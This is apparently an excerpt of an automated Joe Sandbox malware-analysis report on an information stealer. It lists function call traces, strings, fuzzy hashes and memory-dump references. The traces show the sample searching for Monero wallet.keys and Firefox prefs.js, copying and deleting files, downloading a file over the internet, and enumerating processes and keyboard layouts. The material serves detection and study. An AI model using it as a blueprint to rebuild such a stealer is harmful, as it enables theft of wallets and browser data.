Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00DB15B8,00DB0D96), ref: 00D9F71E
StrCmpCA.SHLWAPI(?,00DB15BC), ref: 00D9F76F
StrCmpCA.SHLWAPI(?,00DB15C0), ref: 00D9F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 00D9FAB1
FindClose.KERNEL32(000000FF), ref: 00D9FAC3

Strings

prefs.js, xrefs: 00D9F812

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: e84f8cdae7237b71067566b0344b23eea7ee765f7000576879a900dbd2a07701
Instruction ID: 5f8927926999b8efae763146136aa3da36df206f365a2f81254e2949e958e7ca
Opcode Fuzzy Hash: e84f8cdae7237b71067566b0344b23eea7ee765f7000576879a900dbd2a07701
Instruction Fuzzy Hash: CAB13E719001189FCB64EF74DC96BEE7379EF55300F4086A9A40A96191EF34AB49CFB2

Function 00D916D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00DB510C,?,?,?,00DB51B4,?,?,00000000,?,00000000), ref: 00D91923
StrCmpCA.SHLWAPI(?,00DB525C), ref: 00D91973
StrCmpCA.SHLWAPI(?,00DB5304), ref: 00D91989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D91D40
DeleteFileA.KERNEL32(00000000), ref: 00D91DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00D91E20
FindClose.KERNEL32(000000FF), ref: 00D91E32

Part of subcall function 00DAA920: lstrcpy.KERNEL32(00000000,?), ref: 00DAA972
Part of subcall function 00DAA920: lstrcat.KERNEL32(00000000), ref: 00DAA982

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

Strings

\*.*, xrefs: 00D917F1

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: d85233a3ebb80ec235913bca72cec9865c4a525a9a4cad069d165aec5010e766
Instruction ID: e12162d906ea516714e3635e768c7afec7a7de4f86529d1ef968e951068f4346
Opcode Fuzzy Hash: d85233a3ebb80ec235913bca72cec9865c4a525a9a4cad069d165aec5010e766
Instruction Fuzzy Hash: F812F971910118ABCB59EB74DC96AEE7378EF55300F4046A9B50B62091EF346F89CFB2

Function 00D9DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DAA920: lstrcpy.KERNEL32(00000000,?), ref: 00DAA972
Part of subcall function 00DAA920: lstrcat.KERNEL32(00000000), ref: 00DAA982

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00DB14B0,00DB0C2A), ref: 00D9DAEB
StrCmpCA.SHLWAPI(?,00DB14B4), ref: 00D9DB33
StrCmpCA.SHLWAPI(?,00DB14B8), ref: 00D9DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 00D9DDCC
FindClose.KERNEL32(000000FF), ref: 00D9DDDE

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 81c4ff74e9e4ef55c1745c1e52429c9cd3bc068ceba96c4061e8a8ccc4e436d2
Instruction ID: 616b6f071e13725c970a2a25806cb0dba162ecaeb2eaa620f0e343a749d0f758
Opcode Fuzzy Hash: 81c4ff74e9e4ef55c1745c1e52429c9cd3bc068ceba96c4061e8a8ccc4e436d2
Instruction Fuzzy Hash: E39111729001189BCF54FBB4EC569EE737DEF95300F408A59B90A96181EF349B19CBB2

Function 00D960A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DAA7E6

Part of subcall function 00D947B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D94839
Part of subcall function 00D947B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D94849

InternetOpenA.WININET(00DB0DF7,00000001,00000000,00000000,00000000), ref: 00D9610F
StrCmpCA.SHLWAPI(?,0194EED0), ref: 00D96147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00D9618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00D961B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00D961DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00D9620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00D96249
InternetCloseHandle.WININET(?), ref: 00D96253
InternetCloseHandle.WININET(00000000), ref: 00D96260

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 7652311a00fcd54212298e37d9a996bfad33b02e2e99e93ea1ddb8f3c2a254da
Instruction ID: 5ff8c9616278a41c3ce6b6797b8a612f73f3dd0b81f393107aeb95a5f9170a66
Opcode Fuzzy Hash: 7652311a00fcd54212298e37d9a996bfad33b02e2e99e93ea1ddb8f3c2a254da
Instruction Fuzzy Hash: DC5150B1A00218ABDF20DFA0DC45BEE77B9EB44701F108199B605A71C1DB74AA85DFB9

Function 00DA7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

GetKeyboardLayoutList.USER32(00000000,00000000,00DB05AF), ref: 00DA7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00DA7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00DA7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00DA7C62
LocalFree.KERNEL32(00000000), ref: 00DA7D22

Strings

/ , xrefs: 00DA7C7F

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 972bb0ddfb0e52c30d4463c48d85bd5f6ab4d102ad06024597022d089d8dfbce
Instruction ID: a7779f1c15ec37e09a95d21728991fc0145fedeca9e9b30d0af6c55139434011
Opcode Fuzzy Hash: 972bb0ddfb0e52c30d4463c48d85bd5f6ab4d102ad06024597022d089d8dfbce
Instruction Fuzzy Hash: 16415C71941218ABCB64DBA4DC99BEEB3B8FF45700F204299E40A62180DB746F85CFB1

Function 00D9E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DAA920: lstrcpy.KERNEL32(00000000,?), ref: 00DAA972
Part of subcall function 00DAA920: lstrcat.KERNEL32(00000000), ref: 00DAA982

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00DB0D73), ref: 00D9E4A2
StrCmpCA.SHLWAPI(?,00DB14F8), ref: 00D9E4F2
StrCmpCA.SHLWAPI(?,00DB14FC), ref: 00D9E508
FindNextFileA.KERNEL32(000000FF,?), ref: 00D9EBDF

Strings

\*.*, xrefs: 00D9E44D

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: ce144392efb68a7736b18172697abb9aeb3a0695da2e3ba1d9ef346cda541307
Instruction ID: e80a5311e7937512a669e0de42341e2b4b8c2b806bb20cac42f71f8353b9a0ce
Opcode Fuzzy Hash: ce144392efb68a7736b18172697abb9aeb3a0695da2e3ba1d9ef346cda541307
Instruction Fuzzy Hash: 7E123C719101189ADB54FB78DCA6AEE7378EF55300F8046A9B50B92091EF346F49CFB2

Function 00DA9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00DA961E
Process32First.KERNEL32(00DB0ACA,00000128), ref: 00DA9632
Process32Next.KERNEL32(00DB0ACA,00000128), ref: 00DA9647
StrCmpCA.SHLWAPI(?,00000000), ref: 00DA965C
CloseHandle.KERNEL32(00DB0ACA), ref: 00DA967A

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: b7dabe977aeced06a28e72c3fa8468077c1cb4fa0894d86cf73c87a2a892cbe2
